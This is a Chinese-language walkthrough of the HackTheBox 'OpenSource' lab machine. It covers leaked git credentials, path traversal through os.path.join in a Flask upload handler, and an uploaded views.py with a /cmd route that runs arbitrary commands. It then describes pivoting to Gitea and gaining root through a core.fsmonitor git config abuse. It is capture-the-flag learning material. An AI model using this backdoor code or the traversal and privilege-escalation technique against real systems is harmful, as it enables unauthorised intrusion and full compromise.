HackTheBox | OpenSource
nmap扫描,开放22、80
访问Web服务,看到下载功能,下载后得到压缩文件source.zip
代码目前没有发现太多东西,不过可以知道是使用python开发,且为flask框架
来到上传页面
尝试上传文件,发现上传后可以得到URL
首先想到上传python版本的Webshell,但是好像解析失败了
回到获取到的源文件中,看到.git
目录,想到git泄露之类的东西
先git log
看一下,没有很多commit,但是看到最后一次commit指向了public
分支
使用git branch
看一下是否存在其他分支,存在dev
分支
git checkout dev
切换到dev分支,然后检查历史记录
依次show一下,在be4da71987bbbc8fae7c961fb2de01ebd0be1997
分支看到http代理,里面写了一对用户名和密码dev01/Soulless_Developer#2022
,其余没有太多信息。
分析一下源代码,在views.py
中看到整个站点的逻辑,其中/upload
对应文件上传页面
在/upload中调用了函数upload_file()
,用于接收和处理上传的文件。对于收到的文件,首先获取了文件名get_file_name()
,然后进行了路径拼接os.path.join()
,然后保存了文件f.save()
。
参考wp,其中的os.path.join()没有做过滤,可以用于构造特殊路径。
import os
file_name1 = "/etc/passwd"
file_name2 = "passwd"
file_name3 = "../../../../passwd"
print(os.path.join(os.getcwd(), "public", "uploads", file_name1))
print(os.path.join(os.getcwd(), "public", "uploads", file_name2))
print(os.path.join(os.getcwd(), "public", "uploads", file_name3))
所以,当输入路径以/
开头时,就可以指定路径。
构造python命令执行的页面,上传一个新的views.py,覆盖原本的文件
import os
import subprocess
from app.utils import get_file_name
from flask import render_template, request, send_file
from app import app
@app.route('/')
def index():
return render_template('index.html')
@app.route('/download')
def download():
return send_file(os.path.join(os.getcwd(), "app", "static", "source.zip"))
@app.route('/upcloud', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
f = request.files['file']
file_name = get_file_name(f.filename)
file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)
f.save(file_path)
return render_template('success.html', file_url=request.host_url + "uploads/" + file_name)
return render_template('upload.html')
@app.route('/uploads/<path:path>')
def send_report(path):
path = get_file_name(path)
return send_file(os.path.join(os.getcwd(), "public", "uploads", path))
@app.route('/cmd')
def execute():
return subprocess.check_output(request.args.get('cmd').split(" "))
上传文件,将文件名修改为/app/app/views.py
命令执行
更进一步,直接反弹shell。修改代码,然后访问cmd路径。
检查IP地址,为172.17.0.9
进入根目录,存在.dockerenv
文件,说明当前是在docker容器中
上传fscan,进行扫描,看到同网段存在很多机子,其中172.17.0.1页面不同。按理来说172.17.0.1为网关,也就是docker所在物理机,但是从外部访问不到这个端口。
使用nps,搭建反向代理。访问到172.17.0.1:3000,为Gitea
,版本为1.16.6
前面获取到了用户名和密码,所以尝试登录。成功登录到后台。
在home-backup/.ssh
目录下找到SSH私钥,获取后可以直接登录到目标主机上。
检查SUID,没有异常
上传pspy,进行进程监控。发现3个点,定期执行的/app/run.py
、/root/meta/app/clean.sh
和/usr/local/bin/git-sync
在主机上找到不到run.py,应该是识别到的docker中的进程;/root/meta/app/clean.sh没有权限;/usr/local/bin/git-sync可读
检查文件内容,为定期对本地/home/dev01
备份的脚本
在文章《Securing Developer Tools: Git Integrations》https://www.sonarsource.com/blog/securing-developer-tools-git-integrations/提到了利用方法。
在git的配置文件中,参数core.fsmonitor
的值会用来比较所有文件的变化。
找到配置文件/home/dev01/.git/config
先写个简单的文件创建测试一下,保存文件后等待root用户的进程/usr/local/bin/git-sync
执行。
利用root权限创建SUID置位的文件,等待执行后得到SUID置位的/bin/bash
文件